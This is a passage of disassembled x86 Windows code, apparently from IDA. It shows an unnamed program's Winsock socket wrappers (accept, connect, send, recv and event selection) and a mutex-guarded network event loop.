[esi+458h] call ds:dword_429288 ; ioctlsocket pop esi leave retn sub_4149DD endp ; =============== S U B R O U T I N E ======================================= sub_414A0C proc near ; CODE XREF: .text:00407B46p ; .text:00408246p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [eax+458h] call ds:dword_4292B8 ; listen retn 4 sub_414A0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1F proc near ; CODE XREF: .text:00407BB3p ; .text:004088A9p ... var_14 = word ptr -14h var_12 = dword ptr -12h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push edi lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+458h] mov [ebp+var_4], 10h call ds:dword_4292BC ; accept push [ebp+var_12] mov edi, eax movsx eax, [ebp+var_14] mov [esi+458h], edi mov [esi+45Ch], eax call ds:dword_42927C ; htons mov [esi+468h], ax mov eax, edi mov dword ptr [esi+464h], 6 mov dword ptr [esi+460h], 1 pop edi leave retn 4 sub_414A1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A81 proc near ; CODE XREF: sub_407466+65p ; sub_407949+4Dp ... var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push edi mov edi, ecx push 100h push [ebp+arg_0] mov [edi+468h], ax lea eax, [edi+474h] push eax call sub_41C5A0 add esp, 0Ch push 0 push [ebp+arg_0] lea esi, [ebp+var_10] call sub_41494C push 10h mov eax, esi push eax push dword ptr [edi+458h] call ds:dword_42928C ; connect pop edi pop esi leave retn 4 sub_414A81 endp ; =============== S U B R O U T I N E ======================================= sub_414ACD proc near ; CODE XREF: sub_409A0F+39p ; sub_40C6A4+59p ... arg_0 = dword ptr 4 call ds:dword_4292C8 ; WSACreateEvent mov ecx, [esp+arg_0] mov [ecx+46Ch], eax retn 4 sub_414ACD endp ; =============== S U B R O U T I N E ======================================= sub_414AE0 proc near ; CODE XREF: .text:00407B65p ; .text:00407BC1p ... push edi lea edi, [esi+46Ch] cmp dword ptr [edi], 0 jnz short loc_414AF2 push esi call sub_414ACD loc_414AF2: ; CODE XREF: sub_414AE0+Aj push ebx push dword ptr [edi] mov [esi+470h], ebx push dword ptr [esi+458h] call ds:dword_429298 ; WSAEventSelect pop edi retn sub_414AE0 endp ; =============== S U B R O U T I N E ======================================= sub_414B09 proc near ; CODE XREF: sub_414B44+18p ; sub_414B68+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] push dword ptr [eax+458h] call ds:dword_429284 ; getpeername retn 8 sub_414B09 endp ; =============== S U B R O U T I N E ======================================= sub_414B20 proc near ; CODE XREF: .text:0040AD82p ; .text:0040AEE1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] call sub_414B44 push [esp+arg_8] push eax call ds:dword_429274 ; inet_ntoa push eax push [esp+8+arg_4] call sub_41C5A0 add esp, 0Ch retn 0Ch sub_414B20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B44 proc near ; CODE XREF: sub_405771+46p ; .text:0040ACD7p ... var_14 = byte ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] mov [ebp+var_4], 10h call sub_414B09 mov eax, [ebp+var_10] leave retn 4 sub_414B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B68 proc near ; CODE XREF: .text:004088BEp ; sub_40B45D+20p ... var_14 = byte ptr -14h var_12 = dword ptr -12h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] mov [ebp+var_4], 10h call sub_414B09 push [ebp+var_12] call ds:dword_4292E4 ; htons leave retn 4 sub_414B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B92 proc near ; CODE XREF: sub_40CA30+931p var_14 = byte ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] mov [ebp+var_4], 10h call sub_414BB6 mov eax, [ebp+var_10] leave retn 4 sub_414B92 endp ; =============== S U B R O U T I N E ======================================= sub_414BB6 proc near ; CODE XREF: sub_414B92+18p ; sub_414BCD+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] push dword ptr [eax+458h] call ds:dword_42929C ; getsockname retn 8 sub_414BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414BCD proc near ; CODE XREF: .text:004088C8p ; sub_40CA30+307p ... var_14 = byte ptr -14h var_12 = dword ptr -12h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] mov [ebp+var_4], 10h call sub_414BB6 push [ebp+var_12] call ds:dword_4292E4 ; htons leave retn 4 sub_414BCD endp ; =============== S U B R O U T I N E ======================================= sub_414BF7 proc near ; CODE XREF: sub_414C04+Ep ; sub_414D44+6Bp push dword ptr [eax+46Ch] call ds:dword_4292B0 ; WSAResetEvent retn sub_414BF7 endp ; =============== S U B R O U T I N E ======================================= sub_414C04 proc near ; CODE XREF: .text:00407B9Cp ; .text:004082ECp ... arg_0 = dword ptr 4 push esi lea esi, [edi+458h] cmp dword ptr [esi], 0 jnz short loc_414C17 mov eax, edi call sub_414BF7 loc_414C17: ; CODE XREF: sub_414C04+Aj push [esp+4+arg_0] push dword ptr [edi+46Ch] push dword ptr [esi] call ds:dword_429294 ; WSAEnumNetworkEvents pop esi retn 4 sub_414C04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C2D proc near ; CODE XREF: sub_405771+11Ap ; sub_405771+147p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push [ebp+arg_4] call sub_41BAB5 push [ebp+arg_4] mov ebx, eax push [ebp+arg_0] push ebx call sub_41BC60 xor esi, esi add esp, 10h cmp [edi], esi jz short loc_414C5B push [ebp+arg_4] push ebx push edi call sub_404D64 loc_414C5B: ; CODE XREF: sub_414C2D+22j cmp [ebp+arg_4], 0 jle short loc_414C96 loc_414C61: ; CODE XREF: sub_414C2D+67j mov eax, [ebp+arg_4] push 0 sub eax, esi push eax lea eax, [esi+ebx] push eax push dword ptr [edi+458h] call ds:dword_4292E0 ; send test eax, eax mov [ebp+arg_0], eax jle short loc_414C84 add esi, eax jmp short loc_414C91 ; --------------------------------------------------------------------------- loc_414C84: ; CODE XREF: sub_414C2D+51j call ds:dword_429290 ; WSAGetLastError cmp eax, 2733h jnz short loc_414C96 loc_414C91: ; CODE XREF: sub_414C2D+55j cmp esi, [ebp+arg_4] jl short loc_414C61 loc_414C96: ; CODE XREF: sub_414C2D+32j ; sub_414C2D+62j push ebx call sub_41CA28 mov eax, [ebp+arg_0] pop ecx pop esi pop ebx pop ebp retn 8 sub_414C2D endp ; =============== S U B R O U T I N E ======================================= sub_414CA6 proc near ; CODE XREF: sub_407466+E8p ; sub_407949+7Bp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi lea eax, [esp+8+arg_4] push eax push [esp+0Ch+arg_0] call sub_41D258 mov esi, eax lea eax, [esi+1] push eax call sub_41BAB5 mov ebx, eax lea eax, [esp+14h+arg_4] push eax push [esp+18h+arg_0] push ebx call sub_41D201 add esp, 18h push esi push ebx call sub_414C2D push ebx mov esi, eax call sub_41CA28 pop ecx mov eax, esi pop esi pop ebx retn sub_414CA6 endp ; =============== S U B R O U T I N E ======================================= sub_414CEA proc near ; CODE XREF: sub_40FB5A+B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push [esp+4+arg_8] push 0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] push dword ptr [eax+458h] call ds:dword_4292A4 ; sendto retn 10h sub_414CEA endp ; =============== S U B R O U T I N E ======================================= sub_414D0B proc near ; CODE XREF: sub_405771+138p ; sub_405771+15Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0 push [esp+8+arg_4] push [esp+0Ch+arg_0] push dword ptr [esi+458h] call ds:dword_4292D8 ; recv mov edi, eax lea eax, [esi+22Ch] cmp dword ptr [eax], 0 jz short loc_414D3E test edi, edi jle short loc_414D3E push edi push [esp+8+arg_0] push eax call sub_404D64 loc_414D3E: ; CODE XREF: sub_414D0B+22j ; sub_414D0B+26j mov eax, edi pop edi retn 8 sub_414D0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D44 proc near ; CODE XREF: sub_4048C1+8Dp ; sub_4048C1:loc_40495Bp ... var_400 = byte ptr -400h arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 400h push esi push edi push 2 mov esi, eax call sub_414DBA and dword ptr [esi+470h], 0 loc_414D5F: ; CODE XREF: sub_414D44+2Ej push 400h lea eax, [ebp+var_400] push eax call sub_414D0B test eax, eax jg short loc_414D5F lea edi, [esi+458h] mov eax, [edi] cmp eax, 0FFFFFFFFh jz short loc_414D91 test [ebp+arg_0], 1 jz short loc_414D91 push eax call ds:dword_4292AC ; closesocket or dword ptr [edi], 0FFFFFFFFh loc_414D91: ; CODE XREF: sub_414D44+3Bj ; sub_414D44+41j lea edi, [esi+46Ch] mov eax, [edi] test eax, eax jz short loc_414DAD test [ebp+arg_0], 2 jz short loc_414DAD push eax call ds:dword_429280 ; WSACloseEvent and dword ptr [edi], 0 loc_414DAD: ; CODE XREF: sub_414D44+57j ; sub_414D44+5Dj mov eax, esi call sub_414BF7 pop edi pop esi leave retn 4 sub_414D44 endp ; =============== S U B R O U T I N E ======================================= sub_414DBA proc near ; CODE XREF: sub_407C12+E4p ; .text:004084E3p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [eax+458h] call ds:dword_4292A0 ; shutdown retn 4 sub_414DBA endp ; =============== S U B R O U T I N E ======================================= sub_414DCD proc near ; CODE XREF: .text:0040BB21p mov eax, offset loc_427A2D call sub_41E550 push esi mov esi, [ebp+8] and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh and dword ptr [ebp-4], 0 mov eax, [ebp+0Ch] push dword ptr [ebp+10h] mov dword ptr [esi], offset off_430B84 mov [esi+10h], eax call sub_41C350 inc eax push eax call sub_41BAB5 push dword ptr [ebp+10h] mov [esi+14h], eax push eax call sub_41C930 mov eax, [ebp+14h] add esp, 10h mov [esi+18h], eax call sub_416AC4 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 10h sub_414DCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414E2D proc near ; DATA XREF: .text:00430B88o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_414E49 test [esp+4+arg_0], 1 jz short loc_414E43 push esi call sub_41C7B8 pop ecx loc_414E43: ; CODE XREF: sub_414E2D+Dj mov eax, esi pop esi retn 4 sub_414E2D endp ; =============== S U B R O U T I N E ======================================= sub_414E49 proc near ; CODE XREF: sub_414E2D+3p push dword ptr [esi+14h] mov dword ptr [esi], offset off_430B84 call sub_41C7B8 pop ecx mov ecx, esi jmp sub_416AA6 sub_414E49 endp ; --------------------------------------------------------------------------- loc_414E5F: ; DATA XREF: .text:off_430B84o push esi mov esi, ecx push dword ptr [esi+14h] call sub_41484D pop ecx mov ecx, [esi+18h] push 0 mov [ecx], eax call ds:dword_429290 ; WSAGetLastError push eax push 401h push dword ptr [esi+10h] call ds:dword_4291FC ; PostThreadMessageA pop esi retn ; =============== S U B R O U T I N E ======================================= sub_414E89 proc near ; CODE XREF: sub_407466+F3p ; sub_40805D+33p ... xor ecx, ecx mov [eax+14h], ecx mov [eax], ecx mov [eax+0Ch], ecx mov [eax+10h], ecx mov [eax+18h], ecx mov [eax+1Ch], ecx mov [eax+20h], ecx mov [eax+4], ecx retn sub_414E89 endp ; =============== S U B R O U T I N E ======================================= sub_414EA3 proc near ; CODE XREF: sub_407466+255p ; sub_40818D+4Cp ... mov eax, [esi+14h] test eax, eax jz short loc_414EB5 push eax call sub_41C7B8 and dword ptr [esi+14h], 0 pop ecx loc_414EB5: ; CODE XREF: sub_414EA3+5j mov eax, [esi] test eax, eax jz short locret_414EC5 push eax call sub_41C7B8 and dword ptr [esi], 0 pop ecx locret_414EC5: ; CODE XREF: sub_414EA3+16j retn sub_414EA3 endp ; =============== S U B R O U T I N E ======================================= sub_414EC6 proc near ; CODE XREF: sub_407466+FFp ; sub_40805D+4Ep ... push edi mov [esi+8], edi call sub_41BAB5 push edi mov [esi+14h], eax call sub_41BAB5 pop ecx pop ecx mov [esi], eax retn sub_414EC6 endp ; =============== S U B R O U T I N E ======================================= sub_414EDD proc near ; CODE XREF: sub_407466+11Ap ; sub_407C12+27p ... arg_0 = dword ptr 4 mov eax, [edi+0Ch] mov ecx, [edi+8] sub ecx, eax push esi push ecx mov ecx, [edi+14h] add ecx, eax push 0 push ecx call sub_41C6D0 mov eax, [edi+0Ch] mov ecx, [edi+8] mov esi, [esp+10h+arg_0] sub ecx, eax add esp, 0Ch push ecx mov ecx, [edi+14h] add ecx, eax push ecx call sub_414D0B test eax, eax jl short loc_414F3C mov ecx, [edi+0Ch] mov esi, [edi+18h] add ecx, eax test esi, esi mov [edi+4], ecx jz short loc_414F3C mov edx, [edi+1Ch] push ebx mov ebx, esi sub ebx, edx cmp ebx, ecx mov [edi+20h], edx pop ebx jge short loc_414F37 mov [edi+1Ch], esi jmp short loc_414F3C ; --------------------------------------------------------------------------- loc_414F37: ; CODE XREF: sub_414EDD+53j add edx, ecx mov [edi+1Ch], edx loc_414F3C: ; CODE XREF: sub_414EDD+34j ; sub_414EDD+43j ... pop esi retn 4 sub_414EDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F40 proc near ; CODE XREF: sub_407466+1F6p ; sub_407C12+FDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push edi xor edi, edi cmp [esi+4], edi jle loc_414FE7 loc_414F50: ; CODE XREF: sub_414F40+53j mov eax, [esi+14h] mov ecx, [esi] mov al, [edi+eax] mov [edi+ecx], al xor ecx, ecx test ebx, ebx jl short loc_414F86 mov eax, [esi+14h] add eax, edi mov [ebp+var_4], eax loc_414F69: ; CODE XREF: sub_414F40+44j mov al, [eax] mov edx, [ebp+arg_0] cmp al, [ecx+edx] jnz short loc_414F86 lea eax, [ebx-1] cmp ecx, eax jz short loc_414F97 mov eax, [ebp+var_4] inc ecx inc eax cmp ecx, ebx mov [ebp+var_4], eax jle short loc_414F69 loc_414F86: ; CODE XREF: sub_414F40+1Fj ; sub_414F40+31j mov eax, [esi+8] sub eax, ebx cmp edi, eax jz short loc_414FD7 inc edi cmp edi, [esi+4] jl short loc_414F50 jmp short loc_414FE7 ; --------------------------------------------------------------------------- loc_414F97: ; CODE XREF: sub_414F40+38j mov eax, [esi] push ebx add eax, edi push 0 push eax call sub_41C6D0 mov ecx, [esi+8] mov eax, [esi+14h] sub ecx, edi sub ecx, ebx push ecx lea ecx, [eax+edi] add ecx, ebx push ecx push eax call sub_41BC60 add edi, ebx sub [esi+4], edi add esp, 18h cmp dword ptr [esi+10h], 0 jz short loc_414FD2 mov eax, [esi] and dword ptr [esi+10h], 0 mov byte ptr [eax], 0 loc_414FD2: ; CODE XREF: sub_414F40+87j xor eax, eax inc eax jmp short loc_414FEC ; --------------------------------------------------------------------------- loc_414FD7: ; CODE XREF: sub_414F40+4Dj mov eax, [esi] and dword ptr [esi+4], 0 mov dword ptr [esi+10h], 1 mov byte ptr [eax], 0 loc_414FE7: ; CODE XREF: sub_414F40+Aj ; sub_414F40+55j mov [esi+0Ch], edi xor eax, eax loc_414FEC: ; CODE XREF: sub_414F40+95j pop edi leave retn 4 sub_414F40 endp ; =============== S U B R O U T I N E ======================================= sub_414FF1 proc near ; CODE XREF: sub_407466+2A9p ; sub_407466+2E7p ... mov ecx, [eax+4] cmp edx, ecx jnb short loc_414FFD mov [eax+1Ch], edx jmp short loc_415000 ; --------------------------------------------------------------------------- loc_414FFD: ; CODE XREF: sub_414FF1+5j mov [eax+1Ch], ecx loc_415000: ; CODE XREF: sub_414FF1+Aj and dword ptr [eax+20h], 0 mov [eax+18h], edx retn sub_414FF1 endp ; =============== S U B R O U T I N E ======================================= sub_415008 proc near ; CODE XREF: sub_407466+21Bp ; sub_409BDA+185p ... mov eax, [ecx+18h] sub eax, [ecx+20h] mov edx, [ecx+4] cmp eax, edx jge short loc_415017 mov edx, eax loc_415017: ; CODE XREF: sub_415008+Bj push edx call sub_41D727 pop ecx retn sub_415008 endp ; =============== S U B R O U T I N E ======================================= sub_41501F proc near ; CODE XREF: sub_407466+211p ; sub_409BDA+175p ... push esi mov esi, eax mov ecx, esi call sub_415008 push eax push dword ptr [esi+14h] push dword ptr [esi] call sub_41BC60 add esp, 0Ch mov ecx, esi call sub_415008 cmp eax, [esi+4] jge short loc_415079 push edi mov ecx, esi call sub_415008 mov ecx, [esi+4] mov edi, [esi+14h] sub ecx, eax mov [esi+0Ch], ecx mov ecx, esi call sub_415008 mov ecx, [esi+8] sub ecx, eax push ecx mov ecx, esi call sub_415008 add eax, edi push eax push edi call sub_41BC60 add esp, 0Ch pop edi jmp short loc_41507D ; --------------------------------------------------------------------------- loc_415079: ; CODE XREF: sub_41501F+22j and dword ptr [esi+0Ch], 0 loc_41507D: ; CODE XREF: sub_41501F+58j mov eax, [esi+18h] sub eax, [esi+1Ch] jnz short loc_41508F call sub_415093 xor eax, eax inc eax pop esi retn ; --------------------------------------------------------------------------- loc_41508F: ; CODE XREF: sub_41501F+64j xor eax, eax pop esi retn sub_41501F endp ; =============== S U B R O U T I N E ======================================= sub_415093 proc near ; CODE XREF: sub_41501F+66p mov ecx, esi call sub_415008 and dword ptr [esi+18h], 0 sub [esi+4], eax mov [esi+20h], eax retn sub_415093 endp ; =============== S U B R O U T I N E ======================================= sub_4150A5 proc near ; CODE XREF: sub_407431+6p ; sub_40C31C+15p ... mov eax, offset loc_427BE9 call sub_41E550 push ebx push esi push edi mov edi, [ebp+8] or dword ptr [edi+0Ch], 0FFFFFFFFh xor ebx, ebx mov [edi+4], ebx lea esi, [edi+10h] mov dword ptr [edi], offset off_430B90 call sub_4099E5 mov [edi+18h], ebx mov [edi+1Ch], ebx mov [edi+20h], ebx mov [edi+28h], ebx mov [edi+2Ch], ebx mov [edi+30h], ebx mov eax, [ebp+0Ch] mov [edi+3Ch], ebx mov [edi+40h], ebx mov [edi+44h], ebx mov [edi+48h], ebx mov [edi+150h], eax call ds:dword_4292C8 ; WSACreateEvent mov esi, edi mov [edi+14Ch], eax call sub_416AC4 mov ecx, [ebp-0Ch] mov eax, edi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_4150A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415119 proc near ; DATA XREF: .text:00430B94o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_415135 test [esp+4+arg_0], 1 jz short loc_41512F push esi call sub_41C7B8 pop ecx loc_41512F: ; CODE XREF: sub_415119+Dj mov eax, esi pop esi retn 4 sub_415119 endp ; =============== S U B R O U T I N E ======================================= sub_415135 proc near ; CODE XREF: sub_407461j sub_40C37B+Fj ... push ebx push esi push edi mov edi, ecx push 0FFFFFFFFh push dword ptr [edi+10h] mov dword ptr [edi], offset off_430B90 call ds:dword_429128 ; WaitForSingleObject mov esi, [edi+28h] jmp short loc_415158 ; --------------------------------------------------------------------------- loc_415150: ; CODE XREF: sub_415135+26j call sub_414EA3 add esi, 24h loc_415158: ; CODE XREF: sub_415135+19j cmp esi, [edi+2Ch] jnz short loc_415150 mov esi, [edi+18h] jmp short loc_415171 ; --------------------------------------------------------------------------- loc_415162: ; CODE XREF: sub_415135+3Fj push 3 mov eax, esi call sub_414D44 add esi, 574h loc_415171: ; CODE XREF: sub_415135+2Bj cmp esi, [edi+1Ch] jnz short loc_415162 push dword ptr [edi+14Ch] mov ebx, ds:dword_4290F0 call ebx ; CloseHandle push dword ptr [edi+10h] call ds:dword_429138 ; ReleaseMutex lea esi, [edi+38h] call sub_413A1C lea esi, [edi+24h] call sub_413A1C lea esi, [edi+14h] call sub_413A1C push dword ptr [edi+10h] call ebx ; CloseHandle mov ecx, edi pop edi pop esi pop ebx jmp sub_416AA6 sub_415135 endp ; =============== S U B R O U T I N E ======================================= sub_4151B4 proc near ; CODE XREF: sub_407DB9+39p ; sub_40C38F+79p ... push 0 push 0 push 12h push dword ptr [esi+8] call ds:dword_4291FC ; PostThreadMessageA cmp dword ptr [esi+48h], 0 jnz short loc_4151D1 push dword ptr [esi+14Ch] jmp short loc_4151D4 ; --------------------------------------------------------------------------- loc_4151D1: ; CODE XREF: sub_4151B4+13j push dword ptr [esi+4Ch] loc_4151D4: ; CODE XREF: sub_4151B4+1Bj call ds:dword_42910C ; SetEvent retn sub_4151B4 endp ; =============== S U B R O U T I N E ======================================= sub_4151DB proc near ; CODE XREF: sub_4153A7+109p push ebx push 0FFFFFFFFh push dword ptr [esi+10h] call ds:dword_429128 ; WaitForSingleObject xor ebx, ebx cmp [esi+48h], ebx jle short loc_415204 push edi lea edi, [esi+4Ch] loc_4151F2: ; CODE XREF: sub_4151DB+26j push dword ptr [edi] call ds:dword_42910C ; SetEvent inc ebx add edi, 4 cmp ebx, [esi+48h] jl short loc_4151F2 pop edi loc_415204: ; CODE XREF: sub_4151DB+11j push dword ptr [esi+10h] call ds:dword_429138 ; ReleaseMutex pop ebx retn sub_4151DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41520F proc near ; CODE XREF: sub_407DB9+64p ; sub_407DB9+C1p ... var_34 = byte ptr -34h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 34h push esi push 0FFFFFFFFh push dword ptr [ebx+10h] mov esi, eax call ds:dword_429128 ; WaitForSingleObject mov eax, [ebx+48h] cmp eax, 40h jl short loc_415232 xor esi, esi jmp loc_4152D2 ; --------------------------------------------------------------------------- loc_415232: ; CODE XREF: sub_41520F+1Aj test eax, eax jnz short loc_41523E push dword ptr [ebx+14Ch] jmp short loc_415241 ; --------------------------------------------------------------------------- loc_41523E: ; CODE XREF: sub_41520F+25j push dword ptr [ebx+4Ch] loc_415241: ; CODE XREF: sub_41520F+2Dj call ds:dword_42910C ; SetEvent xor edx, edx cmp [ebx+48h], edx jbe short loc_41526B mov eax, [ebx+18h] mov ecx, [esi+458h] add eax, 458h loc_41525C: ; CODE XREF: sub_41520F+5Aj cmp [eax], ecx jz short loc_4152CF inc edx add eax, 574h cmp edx, [ebx+48h] jb short loc_41525C loc_41526B: ; CODE XREF: sub_41520F+3Dj push edi push esi lea eax, [ebx+14h] call sub_4154DA lea eax, [ebp+var_34] call sub_414E89 mov edi, [ebx+150h] mov esi, eax call sub_414EC6 lea eax, [ebp+var_34] push eax lea eax, [ebx+24h] push eax call sub_415542 xor eax, eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax lea eax, [ebp+var_10] push eax lea eax, [ebx+38h] call sub_4155A8 mov eax, [ebx] mov ecx, ebx call dword ptr [eax+1Ch] mov esi, ebx call sub_415362 push dword ptr [ebx+10h] inc dword ptr [ebx+48h] call ds:dword_429138 ; ReleaseMutex xor eax, eax inc eax pop edi loc_4152CC: ; CODE XREF: sub_41520F+CEj pop esi leave retn ; --------------------------------------------------------------------------- loc_4152CF: ; CODE XREF: sub_41520F+4Fj xor esi, esi inc esi loc_4152D2: ; CODE XREF: sub_41520F+1Ej push dword ptr [ebx+10h] call ds:dword_429138 ; ReleaseMutex mov eax, esi jmp short loc_4152CC sub_41520F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152DF proc near ; CODE XREF: sub_40E47E+3Cp ; sub_4153A7+F4p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [edi] push esi mov ecx, edi call dword ptr [eax+20h] mov esi, [edi+34h] imul esi, 574h add esi, [edi+18h] cmp [ebp+arg_0], 0 jz short loc_415305 push 3 mov eax, esi call sub_414D44 loc_415305: ; CODE XREF: sub_4152DF+1Bj push ebx push esi lea esi, [edi+14h] lea ebx, [ebp+arg_0] call sub_41551D mov eax, [edi+34h] mov ecx, [edi+28h] lea eax, [eax+eax*8] lea esi, [ecx+eax*4] call sub_414EA3 push esi lea esi, [edi+24h] lea ebx, [ebp+arg_0] call sub_415589 mov eax, [edi+34h] shl eax, 4 add eax, [edi+3Ch] lea esi, [edi+38h] push eax lea ebx, [ebp+arg_0] call sub_4155EB dec dword ptr [edi+48h] pop ebx jnz short loc_415356 push dword ptr [edi+14Ch] call ds:dword_429114 ; ResetEvent loc_415356: ; CODE XREF: sub_4152DF+69j mov esi, edi call sub_415362 pop esi pop ebp retn 4 sub_4152DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415362 proc near ; CODE XREF: sub_41520F+A8p ; sub_4152DF+79p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push edi mov [ebp+var_4], ebx lea edi, [esi+4Ch] loc_415370: ; CODE XREF: sub_415362+3Fj lea eax, [esi+14h] call sub_4154C2 cmp [ebp+var_4], eax jnb short loc_41538C mov eax, [esi+18h] add eax, ebx mov eax, [eax+46Ch] mov [edi], eax jmp short loc_41538F ; --------------------------------------------------------------------------- loc_41538C: ; CODE XREF: sub_415362+19j and dword ptr [edi], 0 loc_41538F: ; CODE XREF: sub_415362+28j inc [ebp+var_4] add ebx, 574h add edi, 4 cmp ebx, 15D00h jb short loc_415370 pop edi pop ebx leave retn sub_415362 endp ; =============== S U B R O U T I N E ======================================= sub_4153A7 proc near ; DATA XREF: .text:off_430048o ; .text:off_430530o ... var_48 = byte ptr -48h var_44 = dword ptr -44h var_2C = byte ptr -2Ch var_18 = dword ptr -18h sub esp, 48h push ebx mov ebx, ds:dword_429128 push ebp push esi push edi mov ebp, ecx loc_4153B6: ; CODE XREF: sub_4153A7+42j ; sub_4153A7+102j ... push 1 xor esi, esi push esi push esi push 0FFFFFFFFh lea eax, [esp+68h+var_48] push eax call ds:dword_429230 ; PeekMessageA test eax, eax jz short loc_4153D8 cmp [esp+58h+var_44], 12h jz loc_4154BA loc_4153D8: ; CODE XREF: sub_4153A7+24j mov eax, [ebp+48h] cmp eax, esi jnz short loc_4153EB push 0FFFFFFFFh push dword ptr [ebp+14Ch] call ebx ; WaitForSingleObject jmp short loc_4153B6 ; --------------------------------------------------------------------------- loc_4153EB: ; CODE XREF: sub_4153A7+36j push esi push 3E8h push esi lea ecx, [ebp+4Ch] push ecx push eax call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h mov [ebp+34h], eax jz loc_4154AE push 0FFFFFFFFh push dword ptr [ebp+10h] call ebx ; WaitForSingleObject call ds:dword_429290 ; WSAGetLastError mov edi, [ebp+34h] imul edi, 574h add edi, [ebp+18h] lea eax, [esp+58h+var_2C] push eax call sub_414C04 mov eax, [ebp+0] sub esp, 2Ch push 0Bh pop ecx mov edi, esp lea esi, [esp+84h+var_2C] rep movsd mov ecx, ebp call dword ptr [eax+0Ch] test eax, eax jz short loc_415497 test [esp+58h+var_2C], 2 jz short loc_415457 mov eax, [ebp+0] mov ecx, ebp call dword ptr [eax+10h] loc_415457: ; CODE XREF: sub_4153A7+A6j test [esp+58h+var_2C], 1 jz short loc_415466 mov eax, [ebp+0] mov ecx, ebp call dword ptr [eax+14h] loc_415466: ; CODE XREF: sub_4153A7+B5j test [esp+58h+var_2C], 10h jz short loc_415474 cmp [esp+58h+var_18], 0 jnz short loc_415497 loc_415474: ; CODE XREF: sub_4153A7+C4j test [esp+58h+var_2C], 20h jz short loc_415485 mov eax, [ebp+0] mov ecx, ebp call dword ptr [eax+18h] jmp short loc_415497 ; --------------------------------------------------------------------------- loc_415485: ; CODE XREF: sub_4153A7+D2j mov eax, [ebp+34h] shl eax, 4 add eax, [ebp+3Ch] call sub_416B46 test eax, eax jz short loc_4154A0 loc_415497: ; CODE XREF: sub_4153A7+9Fj ; sub_4153A7+CBj ... mov edi, ebp push 1 call sub_4152DF loc_4154A0: ; CODE XREF: sub_4153A7+EEj push dword ptr [ebp+10h] call ds:dword_429138 ; ReleaseMutex jmp loc_4153B6 ; --------------------------------------------------------------------------- loc_4154AE: ; CODE XREF: sub_4153A7+5Ej mov esi, ebp call sub_4151DB jmp loc_4153B6 ; --------------------------------------------------------------------------- loc_4154BA: ; CODE XREF: sub_4153A7+2Bj pop edi pop esi pop ebp pop ebx add esp, 48h retn sub_4153A7 endp ; =============== S U B R O U T I N E ======================================= sub_4154C2 proc near ; CODE XREF: sub_415362+11p ; sub_4154DA+10p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4154CC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4154CC: ; CODE XREF: sub_4154C2+5j mov eax, [eax+8] sub eax, ecx cdq mov ecx, 574h idiv ecx retn sub_4154C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154DA proc near ; CODE XREF: 